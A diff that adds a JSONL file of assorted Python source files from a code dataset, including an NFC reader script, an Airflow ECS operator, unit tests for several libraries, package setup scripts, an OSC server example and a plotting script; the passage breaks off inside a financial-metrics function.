diff --git "a/4941.jsonl" "b/4941.jsonl" new file mode 100644--- /dev/null +++ "b/4941.jsonl" @@ -0,0 +1,761 @@ +{"seq_id":"119083947","text":"from smartcard.System import readers\n#from smartcard.util import toHexString, toBytes\n#from smartcard.ATR import ATR\n#from smartcard.CardType import ATRCardType\n#from smartcard.CardRequest import CardRequest\n#from smartcard.CardConnectionObserver import ConsoleCardConnectionObserver\n#from smartcard.CardMonitoring import CardMonitor, CardObserver\n\n################DO NOT CHANGE##############\nREAD = [0xFF, 0xCA] #\nSTARTMSB = [0x00] #\nSTARTLSB = [0x00] #\nMEM_L = [0x00] #\nAPDU = READ + STARTMSB + STARTLSB + MEM_L #\n###########################################\n\ndef ConnectReader():\n try:\n reader = readers()[0]\n print (\"DEVICE CONNECTED: {0}\".format(reader))\n print (\"===================================\")\n return reader\n except:\n return ConnectReader()\n\ndef ReadTag(reader):\n try:\n connection = reader.createConnection()\n connection.connect()\n print (\"TAG CONNECTED\")\n data, SW1, SW2 = connection.transmit(APDU)\n return data[1]\n except:\n return 0\n","sub_path":"engine/NFC.py","file_name":"NFC.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"277237759","text":"import logging\nimport boto3\n\nfrom airflow import settings\nfrom airflow.utils import AirflowException\nfrom airflow.models import BaseOperator\nfrom airflow.utils import apply_defaults\nfrom airflow.models import Connection as DB\nfrom airflow.contrib.hooks import ecs_hook\nimport subprocess\n\nclass ECSOperator(BaseOperator):\n\n\n \"\"\"\n Execute a task on AWS EC2 Container Service\n\n :param task_id: task identifier\n :type: task_id:str\n :param taskDefinition: the task definition name on EC2 Container Service\n :type taskDefinition: str\n :param cluster: the cluster name on EC2 Container Service\n :type cluster: str\n :param: overrides: the same parameter that boto3 will receive: http://boto3.readthedocs.org/en/latest/reference/services/ecs.html#ECS.Client.run_task\n :type: overrides: dict\n \"\"\"\n \n \n ui_color = '#f0ede4'\n client = None\n arn = None\n template_fields = ('overrides',)\n \n @apply_defaults\n def __init__(\n self,\n taskDefinition,\n cluster,\n overrides,\n aws_conn_id =\"ecs_default\",\n python_callable = None,\n local_execution=False,\n *args, **kwargs):\n super(ECSOperator, self).__init__(*args, **kwargs)\n self.aws_conn_id = aws_conn_id\n self.hook = self.get_hook()\n self.taskDefinition = taskDefinition\n self.cluster = cluster\n self.overrides = overrides\n self.python_callable = python_callable\n self.local_execution = local_execution\n logging.info(\"overrides: {0}\".format(self.overrides))\n \n\n def execute_local(self):\n from subprocess import Popen, PIPE\n process = Popen(['docker', 'zxventures/airflow'], stdout=PIPE, stderr=PIPE)\n stdout, stderr = process.communicate()\n\n\n \n def execute(self, context):\n if (self.python_callable):\n self.overrides = self.python_callable(**context)\n logging.info(\"Running ecs task - Task definition: \" + self.taskDefinition+\" - on cluster \"+self.cluster);\n logging.info(\"Command: \"+str(self.overrides))\n\n if (self.local_execution):\n self.execute_local()\n else:\n self.client = self.hook.get_conn()\n response = self.client.run_task(taskDefinition=self.taskDefinition, cluster=self.cluster, overrides= self.overrides)\n \n failures = response[\"failures\"]\n if (len(failures) > 0):\n raise AirflowException(response)\n \n logging.info(\"Task started: \"+str(response))\n self.arn = response[\"tasks\"][0]['taskArn']\n import sys\n waiter = self.client.get_waiter('tasks_stopped')\n waiter.config.max_attempts = sys.maxint\n waiter.config.delay = 10\n waiter.wait(cluster=self.cluster, tasks=[self.arn])\n response = self.client.describe_tasks(cluster= self.cluster,tasks=[self.arn])\n \n #ECS.Client.describe_services() \n \n failures = response[\"failures\"]\n if (len(failures) > 0):\n raise AirflowException(response)\n \n logging.info(\"Task stopped: \"+str(response))\n container = response[\"tasks\"][0]['containers'][0]\n exitCode = container['exitCode']\n if exitCode:\n if 'reason' in container:\n reason = container['reason']\n raise AirflowException(\"ECS task failed with Exit Code:\"+str(exitCode)+ \"and Reason [\"+str(reason)+\"]\")\n else:\n raise AirflowException(\"ECS task failed with Exit Code:\"+str(exitCode))\n \n def get_hook(self):\n return ecs_hook.ECSHook(aws_conn_id=self.aws_conn_id)\n \n def on_kill(self):\n response = self.client.stop_task(\n cluster= self.cluster,\n task=self.arn,\n reason='Task killed by the user'\n )\n logging.info(response)\n","sub_path":"airflow/contrib/operators/ecs_operator.py","file_name":"ecs_operator.py","file_ext":"py","file_size_in_byte":4130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"303285532","text":"#!/usr/bin/env python3\n#\n# Copyright 2021 Graviti. Licensed under MIT License.\n#\n\nimport pytest\n\nfrom tensorbay import GAS\nfrom tensorbay.exception import CommitStatusError, ResourceNotExistError, ResponseError\n\nfrom .utility import get_dataset_name\n\n\nclass TestTag:\n def test_create_tag(self, accesskey, url):\n gas_client = GAS(access_key=accesskey, url=url)\n dataset_name = get_dataset_name()\n dataset_client = gas_client.create_dataset(dataset_name)\n dataset_client.create_draft(\"draft-1\")\n dataset_client.commit(\"commit-1\", tag=\"V1\")\n # Can not create more than one tag for one commit\n with pytest.raises(ResponseError):\n dataset_client.create_tag(\"V2\")\n dataset_client.create_draft(\"draft-2\")\n dataset_client.commit(\"commit-2\")\n # Can not create duplicated tag\n with pytest.raises(ResponseError):\n dataset_client.create_tag(\"V1\")\n commit_2_id = dataset_client.status.commit_id\n dataset_client.create_draft(\"draft-3\")\n # Can not create the tag without giving commit in the draft\n with pytest.raises(CommitStatusError):\n dataset_client.create_tag(\"V2\")\n dataset_client.create_tag(\"V2\", revision=commit_2_id)\n dataset_client.commit(\"commit-3\")\n commit_3_id = dataset_client.status.commit_id\n dataset_client.create_tag(\"V3\")\n\n tag1 = dataset_client.get_tag(\"V1\")\n assert tag1.name == \"V1\"\n assert not tag1.parent_commit_id\n tag2 = dataset_client.get_tag(\"V2\")\n assert tag2.name == \"V2\"\n assert tag2.commit_id == commit_2_id\n tag3 = dataset_client.get_tag(\"V3\")\n assert tag3.name == \"V3\"\n assert tag3.commit_id == commit_3_id\n assert tag3.parent_commit_id == commit_2_id\n\n gas_client.delete_dataset(dataset_name)\n\n def test_get_tag(self, accesskey, url):\n gas_client = GAS(access_key=accesskey, url=url)\n dataset_name = get_dataset_name()\n dataset_client = gas_client.create_dataset(dataset_name)\n dataset_client.create_draft(\"draft-1\")\n dataset_client.commit(\"commit-1\", tag=\"V1\")\n commit_1_id = dataset_client.status.commit_id\n\n tag = dataset_client.get_tag(\"V1\")\n assert tag.name == \"V1\"\n assert tag.commit_id == commit_1_id\n assert not tag.parent_commit_id\n assert tag.message == \"commit-1\"\n assert tag.committer.name\n assert tag.committer.date\n\n # Can not get a non-exist tag\n with pytest.raises(ResourceNotExistError):\n dataset_client.get_tag(\"V2\")\n\n dataset_client.create_draft(\"draft-2\")\n dataset_client.commit(\"commit-2\", tag=\"V2\")\n commit_2_id = dataset_client.status.commit_id\n tag = dataset_client.get_tag(\"V2\")\n assert tag.name == \"V2\"\n assert tag.commit_id == commit_2_id\n assert tag.parent_commit_id == commit_1_id\n assert tag.message == \"commit-2\"\n assert tag.committer.name\n assert tag.committer.date\n\n gas_client.delete_dataset(dataset_name)\n\n def test_list_tags(self, accesskey, url):\n gas_client = GAS(access_key=accesskey, url=url)\n dataset_name = get_dataset_name()\n dataset_client = gas_client.create_dataset(dataset_name)\n dataset_client.create_draft(\"draft-1\")\n dataset_client.commit(\"commit-1\", tag=\"V1\")\n dataset_client.create_draft(\"draft-2\")\n dataset_client.commit(\"commit-2\", tag=\"V2\")\n\n tags = dataset_client.list_tags()\n assert tags[0].name == \"V2\"\n assert tags[1].name == \"V1\"\n\n gas_client.delete_dataset(dataset_name)\n\n def test_delete_tag(self, accesskey, url):\n gas_client = GAS(access_key=accesskey, url=url)\n dataset_name = get_dataset_name()\n dataset_client = gas_client.create_dataset(dataset_name)\n dataset_client.create_draft(\"draft-1\")\n dataset_client.commit(\"commit-1\", tag=\"V1\")\n\n dataset_client.delete_tag(\"V1\")\n\n with pytest.raises(ResourceNotExistError):\n dataset_client.get_tag(\"V1\")\n\n gas_client.delete_dataset(dataset_name)\n","sub_path":"tests/test_tag.py","file_name":"test_tag.py","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"132537255","text":"from urllib.request import urlopen\nimport json\nimport requests\nimport pygal\nfrom pygal.style import CleanStyle\nimport math\nfrom itertools import groupby\n\n\n#使用urlopen的方法\njson_url='https://raw.githubusercontent.com/muxuezi/btc/master/btc_close_2017.json'#将要读取数据的网站地址\n#response=urlopen(json_url)#打开网站\n#req=response.read()#读取网站数据\n#with open('D:/python project/python编程--从入门到实践练习/第十六章--下载数据/btc_close_2017副本.json','wb') as data:#以二进制写入的方式打开文件\n# data.write(req)\n#read_file=json.loads(req)#将str类型数据读取为dict型\n#print(read_file)\n\n#使用requests的方法(更简便)\nreq=requests.get(json_url)#打开网站并获取网站内容\nwith open('D:/python project/python编程--从入门到实践练习/第十六章--下载数据/btc_close_2017副本.json','w') as data:\n data.write(req.text)#.text自动推测文本编码\n read_file=req.json()#.json()处理json文件\n\ndates=[]\nmonths=[]\nweeks=[]\nweekdays=[]\ncloses=[]\n\nwith open('D:/python project/python编程--从入门到实践练习/第十六章--下载数据/btc_close_2017副本.json','r') as data:\n total_data=json.load(data)#使用json.load()读取json文件数据\n \n for line_data in total_data:\n dates.append(line_data['date'])\n months.append(int(line_data['month']))\n weeks.append(int(line_data['week']))\n weekdays.append(line_data['weekday'])\n closes.append(int(float(line_data['close'])))\n \n\n#line_chart=pygal.Line(x_label_rotation=20,show_minor_x_labels=False,style=CleanStyle)#创建实例,x_label_rotation设置x轴标签顺时针旋转角度\n##show_x_labels设置并非所有标签都显示的功能。\n#line_chart.title='收盘价'\n#line_chart.x_labels=dates\n#log_closes=[math.log10(n) for n in closes]\n#line_chart.x_labels_major=dates[::20]#标签每20天显示一次\n#line_chart.add('收盘价',log_closes)\n#line_chart.render_to_file('D:/收盘价统计图.svg')\n\n\ndef draw_line(x_data,y_data,title,y_legend,label=0):\n xy_map=[]\n for x,y in groupby(sorted(zip(x_data,y_data)),key=lambda _:_[0]):#groupby函数把迭代器中重复的元素挑出来放在一起(根据月份进行分类)\n y_list=[v for _,v in y]#找出对应的y轴\n xy_map.append([x,sum(y_list)/len(y_list)])#计算平均值,并且和月份一起作为列表存入xy_map中\n x_unique,y_mean=[*zip(*xy_map)]\n line_chart=pygal.Line()\n line_chart.title=title\n if(label==0):\n line_chart.x_labels=x_unique\n else:\n line_chart.x_labels=label\n line_chart.add(y_legend,y_mean)\n line_chart.render_to_file('D:/'+title+'.svg')\n return line_chart\n\nidx_month=dates.index('2017-12-01')#查找字符串\nline_chart_month=draw_line(months[:idx_month],closes[:idx_month],'收盘价月日均值','月日均值')\n\nidx_week=dates.index('2017-12-11')\nline_chart_week=draw_line(weeks[1:idx_week],closes[1:idx_week],'收盘价周日均值','周日均值')\n\nwd=['Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sunday']\nweekdays_int=[wd.index(day)+1 for day in weekdays[1:idx_week]]\nlabel=['周一','周二','周三','周四','周五','周六','周日']\nline_chart_weekday=draw_line(weekdays_int,closes[1:idx_week],'收盘价星期均价','星期均价',label)\n\n\nwith open('D:/收盘价数据仪表盘.html','w',encoding='utf8') as data:\n data.write('收盘价\\n')\n for n in ['D:/收盘价统计图.svg','D:/收盘价月日均值.svg','D:/收盘价周日均值.svg','D:/收盘价星期均价.svg']:\n data.write('\\n'.format(n))\n data.write('')","sub_path":"pythonproject/python编程--从入门到实践练习/第十六章--下载数据/制作交易收盘价走势图.py","file_name":"制作交易收盘价走势图.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"69050914","text":"from __future__ import absolute_import\n\nimport datetime\nfrom unittest import TestCase\n\nimport six\n\nfrom jenkins.codecov_response_metrics import (\n get_recent_pull_requests,\n get_context_age,\n gather_codecov_metrics\n)\n\n\nclass MockRepo(object):\n\n def __init__(self, full_name, prs):\n self.full_name = full_name\n self.prs = prs\n\n def get_pulls(self, state, sort, direction):\n return self.prs\n\n\nclass MockPR(object):\n\n def __init__(self, title, commits=[], age=10000):\n self.title = title\n self.commits = commits\n self.updated_at = datetime.datetime.utcnow() - datetime.timedelta(seconds=age)\n\n def get_commits(self):\n return self\n\n @property\n def reversed(self):\n return self.commits[::-1]\n\n\nclass MockCommit(object):\n\n def __init__(self, combined_status, sha=123):\n self.combined_status = combined_status\n self.sha = sha\n\n def get_combined_status(self):\n return self.combined_status\n\n\nclass MockCombinedStatus(object):\n\n def __init__(self, statuses):\n self.statuses = statuses\n\n\nclass MockStatus(object):\n\n def __init__(self, context, age, state='success'):\n self.context = context\n self.updated_at = datetime.datetime.utcnow() - datetime.timedelta(seconds=age)\n self.state = state\n\n\nclass CodeCovTest(TestCase):\n\n def test_recent_pull_request(self):\n\n # pull request in which the HEAD commit has no 'recent' status contexts\n mocked_old_combined_status = MockCombinedStatus(\n [\n MockStatus('A', 1000),\n MockStatus('B', 1000),\n MockStatus('C', 2000)\n ]\n )\n mocked_old_commit = MockCommit(mocked_old_combined_status)\n mocked_old_pr = MockPR('My PR', [None, None, mocked_old_commit])\n\n # pull request in which at least one status context is 'recent' on\n # the HEAD commit\n mocked_new_combined_status = MockCombinedStatus(\n [\n MockStatus('A', 1000),\n MockStatus('B', 100),\n MockStatus('C', 2000)\n ]\n )\n mocked_new_commit = MockCommit(mocked_new_combined_status)\n mocked_new_pr = MockPR('Test Pr', [None, None, None, mocked_new_commit])\n\n mocked_repo = MockRepo('mock/repo', [mocked_old_pr, mocked_new_pr])\n\n recent_pull_requests = get_recent_pull_requests(mocked_repo, 500)\n self.assertEqual(len(recent_pull_requests), 1)\n self.assertEqual(recent_pull_requests[0].title, 'Test Pr')\n\n def test_context_age_calculation(self):\n mocked_combined_status = MockCombinedStatus(\n [\n MockStatus('A', 10),\n MockStatus('B', 1000),\n MockStatus('C', 500),\n MockStatus('D', 100)\n ]\n )\n posted, context_age, _ = get_context_age(\n mocked_combined_status.statuses, 'D', 'B'\n )\n self.assertTrue(posted)\n self.assertEqual(context_age, 900)\n\n def test_context_age_calculation_not_present(self):\n mocked_combined_status = MockCombinedStatus(\n [\n MockStatus('A', 10),\n MockStatus('B', 100),\n MockStatus('C', 500)\n ]\n )\n posted, context_age, _ = get_context_age(\n mocked_combined_status.statuses, 'D', 'B'\n )\n self.assertFalse(posted)\n self.assertEqual(context_age, 100)\n\n def test_trigger_contexts_not_present(self):\n mocked_combined_status_without_triggers = MockCombinedStatus(\n [\n MockStatus('A', 10),\n MockStatus('B', 1000),\n MockStatus('C', 500),\n MockStatus('D', 100)\n ]\n )\n mocked_combined_status_with_triggers = MockCombinedStatus(\n [\n MockStatus('continuous-integration/travis-ci/pr', 2000),\n MockStatus('continuous-integration/travis-ci/push', 1000),\n MockStatus('codecov/patch', 500),\n MockStatus('codecov/project', 100)\n ]\n )\n mocked_commit_1 = MockCommit(\n mocked_combined_status_without_triggers, 1111\n )\n mocked_commit_2 = MockCommit(\n mocked_combined_status_with_triggers, 2222\n )\n\n mocked_prs = [\n MockPR('pr #1', [None, None, mocked_commit_1]),\n MockPR('pr #2', [None, None, None, mocked_commit_2])\n ]\n mocked_repos = [MockRepo('edx/ecommerce', mocked_prs)]\n\n metrics = gather_codecov_metrics(mocked_repos, 5000)\n\n now = datetime.datetime.utcnow().replace(microsecond=0)\n expected_results = [\n {\n 'repo': 'edx/ecommerce',\n 'pull_request': 'pr #2',\n 'commit': 2222,\n 'trigger_context_posted_at': str(now - datetime.timedelta(seconds=2000)),\n 'codecov_received': True,\n 'codecov_received_after': 1500,\n 'context': 'codecov/patch'\n },\n {\n 'repo': 'edx/ecommerce',\n 'pull_request': 'pr #2',\n 'commit': 2222,\n 'trigger_context_posted_at': str(now - datetime.timedelta(seconds=1000)),\n 'codecov_received': True,\n 'codecov_received_after': 900,\n 'context': 'codecov/project'\n }\n ]\n six.assertCountEqual(self, metrics, expected_results)\n","sub_path":"jenkins/tests/test_codecov_analysis.py","file_name":"test_codecov_analysis.py","file_ext":"py","file_size_in_byte":5542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"548720002","text":"import operator\n\nimport pytest\n\nfrom descarteslabs.common.graft import client\nfrom descarteslabs.common.graft import interpreter\n\nfrom ...core import ProxyTypeError\nfrom ...primitives import Int, Str, Bool\nfrom ...identifier import parameter\nfrom .. import Tuple, List\n\n\ndef test_init_unparameterized():\n with pytest.raises(TypeError, match=\"Cannot instantiate a generic Tuple\"):\n Tuple([1, 2])\n\n\ndef test_init_sequence():\n b = parameter(\"b\", Bool)\n tup = Tuple[Int, Str, Int, Bool]([1, \"foo\", 3, b])\n assert client.is_delayed(tup)\n assert tup.params == (b,)\n assert interpreter.interpret(\n tup.graft, builtins={\"wf.tuple\": lambda *tuple: tuple, b._name: True}\n )() == (1, \"foo\", 3, True)\n\n\ndef test_init_iterable():\n seq = [1, \"foo\", 3]\n\n def generator():\n for x in seq:\n yield x\n\n tup = Tuple[Int, Str, Int](generator())\n assert client.is_delayed(tup)\n assert tup.params == ()\n\n\ndef test_init_sequence_wronglength():\n with pytest.raises(\n ProxyTypeError, match=\"expected an iterable of 3 items, but got 4 items\"\n ):\n Tuple[Int, Str, Int]([1, \"foo\", 3, \"woah there\"])\n\n\ndef test_init_iterable_wronglength():\n seq = [1, \"foo\", 3, \"woah there\"]\n\n def generator():\n for x in seq:\n yield x\n\n with pytest.raises(\n ProxyTypeError, match=\"expected an iterable of 3 items, but got 4 items\"\n ):\n Tuple[Int, Str, Int](generator())\n\n\ndef test_init_wrongtypes():\n with pytest.raises(\n ProxyTypeError,\n match=r\"While constructing Tuple\\[Int, Str, Int\\], expected .*Str.* for tuple element 1, but got 2\",\n ):\n Tuple[Int, Str, Int]([1, 2, 3])\n\n\ndef test_validate_params():\n Tuple[Str, Int]\n Tuple[List[Int], Str]\n\n with pytest.raises(TypeError, match=\"must be Proxytypes\"):\n Tuple[1]\n\n\ndef test_getitem_type():\n tup = Tuple[Int, Str, Int]([1, \"foo\", 3])\n assert isinstance(tup[0], Int)\n assert isinstance(tup[1], Str)\n assert isinstance(tup[2], Int)\n assert isinstance(tup[:2], Tuple)\n with pytest.raises(IndexError):\n tup[4]\n\n\ndef test_getitem_roundtrip():\n src = [1, \"foo\", 3]\n tup = Tuple[Int, Str, Int](src)\n\n for i, truth in enumerate(src):\n value = interpreter.interpret(\n tup[i].graft,\n builtins={\"wf.tuple\": lambda *tuple: tuple, \"wf.get\": operator.getitem},\n )()\n assert value == truth\n\n\ndef test_len():\n tup = Tuple[Int, Str, Int]([1, \"foo\", 3])\n assert len(tup) == 3\n\n\ndef test_iter():\n tup = Tuple[Int, Str, Int]([1, \"foo\", 3])\n itered = list(tup)\n assert isinstance(itered[0], Int)\n assert isinstance(itered[1], Str)\n assert isinstance(itered[2], Int)\n\n\n@pytest.mark.parametrize(\n \"method\",\n [operator.lt, operator.le, operator.gt, operator.ge, operator.eq, operator.ne],\n)\n@pytest.mark.parametrize(\"other\", [Tuple[Int, Str]([2, \"foo\"]), (2, \"foo\")])\ndef test_container_methods(method, other):\n tuple_ = Tuple[Int, Str]([1, \"baz\"])\n result = method(tuple_, other)\n assert isinstance(result, Bool)\n\n\ndef test_container_methods_check_elem_type():\n tuple_ = Tuple[Bool]([True])\n with pytest.raises(\n TypeError, match=r\"Operator `<` invalid for element Bool in Tuple\\[Bool\\]\"\n ):\n tuple_ < tuple_\n\n\ndef test_container_methods_recursive_check():\n tuple_ = Tuple[Tuple[Int, Str], Tuple[Str], Int](((1, \"foo\"), (\"bar\",), 2))\n assert isinstance(tuple_ < tuple_, Bool)\n\n tuple_ = Tuple[Tuple[Bool]]([[True]])\n with pytest.raises(\n TypeError,\n match=r\"Operator `<` invalid for element Tuple\\[Bool\\] in Tuple\\[Tuple\\[Bool\\]\\]\",\n ):\n tuple_ < tuple_\n\n tuple_ = Tuple[Tuple[Int], Bool]([[1], True])\n with pytest.raises(\n TypeError,\n match=r\"Operator `<` invalid for element Bool in Tuple\\[Tuple\\[Int\\], Bool\\]\",\n ):\n tuple_ < tuple_\n\n\n@pytest.mark.parametrize(\n \"other\",\n [Tuple[Bool, Str, Tuple[Int, Int]]((True, \"foo\", (1, 2))), (True, \"foo\", (1, 2))],\n)\ndef test_add(other):\n tuple_ = Tuple[Int, Str]([1, \"baz\"])\n add = tuple_ + other\n assert isinstance(add, Tuple[Int, Str, Bool, Str, Tuple[Int, Int]])\n radd = other + tuple_\n assert isinstance(radd, Tuple[Bool, Str, Tuple[Int, Int], Int, Str])\n\n\ndef test_add_check():\n with pytest.raises(TypeError):\n Tuple[Int, Str]([1, \"baz\"]) + \"blah\"\n\n with pytest.raises(TypeError):\n [1, 2] + Tuple[Int, Str]([1, \"baz\"])\n","sub_path":"descarteslabs/workflows/types/containers/tests/test_tuple.py","file_name":"test_tuple.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"217551806","text":"import setuptools\n\nwith open('requirements.txt') as f:\n requirements = f.read().splitlines()\n\nsetuptools.setup(\n name='object-detection-demo',\n version='0.1',\n install_requires=requirements,\n packages=setuptools.find_packages(),\n package_data={\n 'sample': ['templates/*', 'models/*']\n },\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n url='https://github.com/sam-kosky/opencv-streaming-demo',\n license='MIT',\n author='Sam Kosky',\n author_email='sam.kosky@aginicx.com',\n description='object detection streaming demo',\n entry_points={\n 'console_scripts': [\n 'objectdetection=sample.server:main'\n ]\n }\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"56188264","text":"# Copyright 2020 The FastEstimator Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\nimport unittest\n\nimport numpy as np\nimport tensorflow as tf\nimport torch\n\nimport fastestimator as fe\nimport fastestimator.test.unittest_util as fet\n\n\nclass TestToType(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.data_np = {\n \"x\": np.ones((10, 15), dtype=\"float32\"),\n \"y\": [np.ones((4), dtype=\"int8\"), np.ones((5, 3), dtype=\"double\")],\n \"z\": {\n \"key\": np.ones((2, 2), dtype=\"int64\")\n }\n }\n cls.data_tf = {\n \"x\": tf.ones((10, 15), dtype=\"float32\"),\n \"y\": [tf.ones((4), dtype=\"int8\"), tf.ones((5, 3), dtype=\"double\")],\n \"z\": {\n \"key\": tf.ones((2, 2), dtype=\"int64\")\n }\n }\n cls.data_torch = {\n \"x\": torch.ones((10, 15), dtype=torch.float32),\n \"y\": [torch.ones((4), dtype=torch.int8), torch.ones((5, 3), dtype=torch.double)],\n \"z\": {\n \"key\": torch.ones((2, 2), dtype=torch.long)\n }\n }\n cls.op_np = {\n 'x': np.dtype('float16'),\n 'y': [np.dtype('float16'), np.dtype('float16')],\n 'z': {\n 'key': np.dtype('float16')\n }\n }\n cls.op_tf = {'x': tf.uint8, 'y': [tf.uint8, tf.uint8], 'z': {'key': tf.uint8}}\n cls.op_torch = {'x': torch.float64, 'y': [torch.float64, torch.float64], 'z': {'key': torch.float64}}\n\n def test_to_type_np(self):\n data = fe.backend.cast(self.data_np, \"float16\")\n types = fe.backend.to_type(data)\n self.assertTrue(fet.is_equal(types, self.op_np))\n\n def test_to_type_tf(self):\n data = fe.backend.cast(self.data_tf, \"uint8\")\n types = fe.backend.to_type(data)\n self.assertTrue(fet.is_equal(types, self.op_tf))\n\n def test_to_type_torch(self):\n data = fe.backend.cast(self.data_torch, \"float64\")\n types = fe.backend.to_type(data)\n self.assertTrue(fet.is_equal(types, self.op_torch))\n","sub_path":"test/PR_test/unit_test/backend/test_cast.py","file_name":"test_cast.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"480589617","text":"from os import path\nimport sys\nfrom setuptools import setup\n\nVERSION = 'default'\ndef execfile(filepath, globals=None, locals=None):\n if globals is None:\n globals = {}\n globals.update({\n \"__file__\": filepath,\n \"__name__\": \"__main__\",\n })\n with open(filepath, 'rb') as file:\n exec(compile(file.read(), filepath, 'exec'), globals, locals)\n\n\n# execute the file\nexecfile(\"arcadeplus/version.py\", locals=locals())\n\nRELEASE = VERSION\n\nif __name__ == \"__main__\":\n\n install_requires = [\n 'pyglet',\n 'pillow',\n 'numpy',\n 'pyglet-ffmpeg2',\n 'pytiled-parser'\n ]\n if sys.version_info[0] == 3 and sys.version_info[1] == 6:\n install_requires.append('dataclasses')\n\n fname = path.join(path.dirname(path.abspath(__file__)), \"README.rst\")\n with open(fname, \"r\") as f:\n long_desc = f.read()\n\n setup(\n name=\"arcadeplus\",\n version=RELEASE,\n description=\"ArcadePlus Graphics Library\",\n long_description=long_desc,\n author=\"George Shao\",\n author_email=\"georgeshao123@gmail.com\",\n license=\"gpl-3.0\",\n url=\"https://github.com/GeorgeShao/arcadeplus\",\n download_url=\"https://github.com/GeorgeShao/arcadeplus/archive/0.6.2.tar.gz\",\n install_requires=install_requires,\n packages=[\"arcadeplus\",\n \"arcadeplus.key\",\n \"arcadeplus.color\",\n \"arcadeplus.csscolor\",\n \"arcadeplus.examples\"\n ],\n python_requires='>=3.6',\n classifiers=[\n \"Development Status :: 4 - Beta\", # Choose either \"3 - Alpha\", \"4 - Beta\" or \"5 - Production/Stable\"\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n test_suite=\"tests\",\n package_data={'arcadeplus': ['resources/gui_themes/Fantasy/Buttons/*',\n 'resources/gui_themes/Fantasy/DialogueBox/*',\n 'resources/gui_themes/Fantasy/Menu/*',\n 'resources/gui_themes/Fantasy/TextBox/*',\n 'resources/gui_themes/Fantasy/Window/*',\n 'resources/images/*',\n 'resources/images/alien/*',\n 'resources/images/animated_characters/female_adventurer/*',\n 'resources/images/animated_characters/female_person/*',\n 'resources/images/animated_characters/male_adventurer/*',\n 'resources/images/animated_characters/male_person/*',\n 'resources/images/animated_characters/robot/*',\n 'resources/images/animated_characters/zombie/*',\n 'resources/images/backgrounds/*',\n 'resources/images/enemies/*',\n 'resources/images/isometric_dungeon/*',\n 'resources/images/items/*',\n 'resources/images/pinball/*',\n 'resources/images/space_shooter/*',\n 'resources/images/spritesheets/*',\n 'resources/images/texture_transform/*',\n 'resources/images/tiles/*',\n 'resources/sounds/*',\n 'resources/tmx_maps/*',\n 'py.typed']},\n )\n","sub_path":"pypi_install_script/arcadeplus-0.6.2.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"445153410","text":"\"\"\"Small example OSC server\n\nThis program listens to several addresses, and prints some information about\nreceived packets.\n\nThe code was initially copied from from https://pypi.org/project/python-osc/\n\n\"\"\"\n\n__author__ = \"Martina Brachmann\"\n__email__ = \"martina.brachmann.uni@gmail.com\"\n\nimport argparse\nimport math\n\nfrom pythonosc import dispatcher\nfrom pythonosc import osc_server\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--ip\",\n default=\"192.168.11.130\", help=\"The ip to listen on\")\n parser.add_argument(\"--port\",\n type=int, default=5005, help=\"The port to listen on\")\n args = parser.parse_args()\n\n dispatcher = dispatcher.Dispatcher()\n dispatcher.map(\"/light\", print)\n dispatcher.map(\"/accelerometer\", print)\n dispatcher.map(\"/oscControl/slider4\", print)\n dispatcher.map(\"/oscControl/toggle1\", print)\n dispatcher.map(\"/toggle1\", print)\n # Test UNO Wifi Board\n dispatcher.map(\"/test\", print)\n\n server = osc_server.ThreadingOSCUDPServer(\n (args.ip, args.port), dispatcher)\n print(\"Serving on {}\".format(server.server_address))\n server.serve_forever()\n","sub_path":"OSCServerPython/simple_server.py","file_name":"simple_server.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"507735500","text":"import pandas as pd\nimport numpy as np\npd.options.mode.chained_assignment = None\npd.set_option('display.max_columns', 10)\nnp.set_printoptions(suppress=True)\n\n# calculate financial metrics\ndef calc_fin_indicators(port_capital, start, end):\n # define empty dictionary as container for next calculations.\n fin_indicators = {}\n # calculcate the amount of years. it is needed to calculate CAGR\n pr_years = (end-start).days/365\n # calculcate portfolio return: portfolio value at the end of the period\n # devide on portfolio value at the start of the period.\n gain = port_capital[-1] / port_capital[0]\n # calculate CAGR\n CAGR = gain ** (1 / pr_years) - 1\n # calculate daily 